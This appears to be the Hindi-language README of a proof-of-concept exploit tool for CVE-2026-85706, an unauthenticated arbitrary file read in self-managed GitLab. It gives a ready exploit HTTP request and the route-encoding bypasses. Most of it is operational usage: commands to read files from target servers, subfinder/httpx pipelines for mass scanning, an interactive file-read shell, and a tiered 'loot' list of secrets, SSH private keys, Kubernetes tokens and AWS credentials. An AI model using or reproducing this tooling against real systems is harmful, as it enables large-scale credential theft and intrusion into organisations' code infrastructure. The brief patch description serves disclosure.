
CVE-2026-85706 · GitLab CE/EE अनधिकृत फ़ाइल पठन · oracle मोड, fd enumeration, और tiered loot targeting के साथ शोध PoC
CVE-2026-85706 के लिए PoC, जो self-managed GitLab CE/EE को प्रभावित करने वाला unauthenticated arbitrary file read है।
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| प्रभावित | 18.7 से 19.1.7, 19.2.0 से 19.2.5, 19.3.0 से 19.3.1 |
| ठीक किया गया | 19.1.8 / 19.2.6 / 19.3.2 (जारी 2026-09-10) |
| घटक | Repository Commits API / Files API (Workhorse body-upload) |
| रिपोर्टर | s3ntago via GitLab HackerOne |
तीन repository API endpoints Workhorse के requestBodyUploader के पीछे बैठे हैं:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
Rails handler authenticate! से पहले File.open(params['file.path']) को कॉल करता है। चार स्थितियाँ इसे exploit करने योग्य बनाती हैं:
1. Auth फ़ाइल पढ़ने के बाद चलता है।
require_gitlab_workhorse! केवल Gitlab-Workhorse-Api-Request JWT header की जाँच करता है। Workhorse उस header को हर उस request पर लगाता है जिसे वह proxy करता है, जिसमें plain passthroughs भी शामिल हैं। असली authenticate! authorize_push_to_branch! के अंदर रहता है, जो तब चलता है जब file_params_from_body_upload पहले ही फ़ाइल को disk से पढ़ चुका होता है।
2. file.path सीधे request से आता है।
file_params_from_body_upload params['file.path'] को बिना किसी validation के absolute path के रूप में पढ़ता है। इच्छित flow में Workhorse upload को एक temp file में लिखता है और उस param को स्वयं inject करता है। हमलावर इसे सीधे एक query string parameter के रूप में भेजता है जो filesystem पर कहीं भी इंगित करता है।
3. Workhorse route matching कभी percent-encoding को decode नहीं करता।
Workhorse upload routes को EscapedPath() के विरुद्ध match करता है, जो प्राप्त किए गए raw URL bytes हैं। Puma Grape को route करने से पहले %XX sequences को decode करता है। इसलिए एक static segment में एक character encode करने पर Workhorse अपना rewrite rule छोड़ देता है जबकि Rails अभी भी vulnerable handler को route करता है:
POST /api/v4/projects/1/repository/commits/ (trailing slash)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape format suffix)
4. Rack error response में फ़ाइल की सामग्री वापस echo करता है।
Content-Type: application/x-www-form-urlencoded के साथ, फ़ाइल की सामग्री Rack::Utils.parse_nested_query को सौंपी जाती है। कोई भी bare % जिसके बाद दो hex digits न हों, InvalidParameterError: invalid %-encoding (<content>) उठाता है। फ़ाइल में पहले & तक का सब कुछ 400 body में echo हो जाता है।
बिना bare % वाली फ़ाइलें अभी भी pre-auth पढ़ी जाती हैं। urlencoded branch से 401 response और multipart branch से 500 दोनों पुष्टि करते हैं कि फ़ाइल मौजूद है और git user द्वारा पढ़ने योग्य है, जिससे वे existence oracle के रूप में उपयोगी बनती हैं।
Exploit request:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file किसी भी एकल फ़ाइल को पढ़ता है; यदि कोई echo trigger नहीं है तो स्वतः oracle पर fall through करता है--loot 7 tiers में 36 targets चलाता है, confirmed echo-trigger probability के अनुसार क्रमबद्ध--oracle no-echo फ़ाइलों के विरुद्ध dual-branch probe (urlencoded + multipart) चलाता है और बताता है कि प्रत्येक readable, missing, या unreadable है--proc open file descriptors खोजने के लिए /proc/self/fd/0-31 enumerate करता है, फिर मानक /proc recon targets पढ़ता है--shell cat, loot, oracle, project, और curl commands के साथ interactive file-read shell में उतरता है--pipe stdin से targets पढ़ता है और subfinder output, httpx text, httpx JSON, nuclei JSON, और raw host lines को संभालता हैpip install requests
python3 gitread.py -h
Python 3.10 या नया आवश्यक है। कोई अन्य dependency नहीं।
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin स्वतः पहचाना जाता है जब यह TTY न हो, इसलिए अधिकांश मामलों में --pipe वैकल्पिक है।
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
Exit codes: 0 leak confirmed, 1 केवल oracle या pipeline में कोई leak नहीं, 2 कुछ नहीं मिला।
master commit 0d9ce3e7 में ठीक किया गया, 1fe30154 / b43c8b26 / 0ff7b6b2 के रूप में backported।
एक ही समय में तीन चीज़ें बदली गईं:
authenticate! को file_params_from_body_upload से पहले स्थानांतरित किया गया ताकि unauthenticated request के लिए फ़ाइल कभी न पढ़ी जाएfile.path अब केवल multipart middleware द्वारा उत्पादित typed UploadedFile object से स्वीकार किया जाता है, जिसके लिए valid Workhorse-signed JWT आवश्यक है, raw query string parameter से नहींInvalidParameterError अब e.message को response body में interpolate नहीं करता इसलिए echo channel बंद हो जाता है भले ही कोई पहले दो fixes को पार करने का रास्ता खोज लेयह bug GitLab 18.7 (दिसंबर 2025) में पेश हुआ जब commits API का body-upload variant जोड़ा गया।
made with love by @plur1bu5 -- if you find it useful, a star is appreciated
--list एक प्रति पंक्ति targets की फ़ाइल लेता है--threads concurrent bulk scanning के लिए--proxy सब कुछ Burp या mitmproxy के माध्यम से route करता है--raw बिना किसी decoration के raw bytes stdout पर लिखता है, फ़ाइल में pipe करने के लिए उपयोगी--full एक pass में loot, oracle, और proc चलाता है-o के माध्यम से JSON और JSONL report output| Verdict | अर्थ |
|---|
leak | फ़ाइल की सामग्री 400 body में echo हुई, read confirmed |
leak-frag | parameter type error के माध्यम से आंशिक echo |
read-noecho | फ़ाइल pre-auth पढ़ी गई लेकिन कोई bare % नहीं इसलिए कुछ echo नहीं हुआ |
READABLE | Multipart branch ने 500 लौटाया, फ़ाइल मौजूद है और git user द्वारा पढ़ने योग्य है |
missing | Server ने कहा local file मौजूद नहीं है |
rewrite | Workhorse ने body rewrite किया, यह bypass form मृत है |
noroute | Rails 404, instance patched है या path गलत है |
server-error | 500, फ़ाइल मौजूद है लेकिन parse error का कारण बनी |
| Tier | फ़ाइलें | Echo |
|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | सामग्री सीधे leak होती है |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | केवल oracle, pure hex |
| 3 | .gitlab_workhorse_secret | केवल oracle |
| 4 | SSH private keys और authorized_keys | केवल oracle |
| 5 | gitlab-shell.yml, gitaly.toml, PostgreSQL config | केवल oracle |
| 6 | Kubernetes service account token, AWS credentials | केवल oracle |
| 7 | Hostname, hosts, passwd, os-release, environ | केवल oracle |
| Flag | विवरण |
|---|
-t, -u, --target | एकल base URL |
--pipe | stdin से targets पढ़ें |
--list FILE | targets की फ़ाइल |
--file PATH | पढ़ने के लिए एकल absolute path |
--loot | पूर्ण 36-target loot run |
--oracle | no-echo फ़ाइलों का dual-branch probe |
--proc | /proc fd enumeration और recon |
--shell | scan के बाद interactive shell |
--full | loot + oracle + proc |
--project-id ID | auto-detect करने के बजाय project id force करें |
--force | scan करें भले ही target GitLab के रूप में fingerprint न हो |
--raw | बिना decoration के raw bytes stdout पर लिखें |
--proxy URL | HTTP/S proxy |
--threads N | pipeline mode के लिए worker threads (default 8) |
--timeout N | प्रति-request timeout सेकंड में (default 15) |
-o FILE | report सहेजें (.json pretty array के लिए, कुछ और JSONL के लिए) |
-q, --quiet | केवल hits प्रिंट करें |
-v, --verbose | हर probe attempt दिखाएँ |
--no-banner | banner दबाएँ |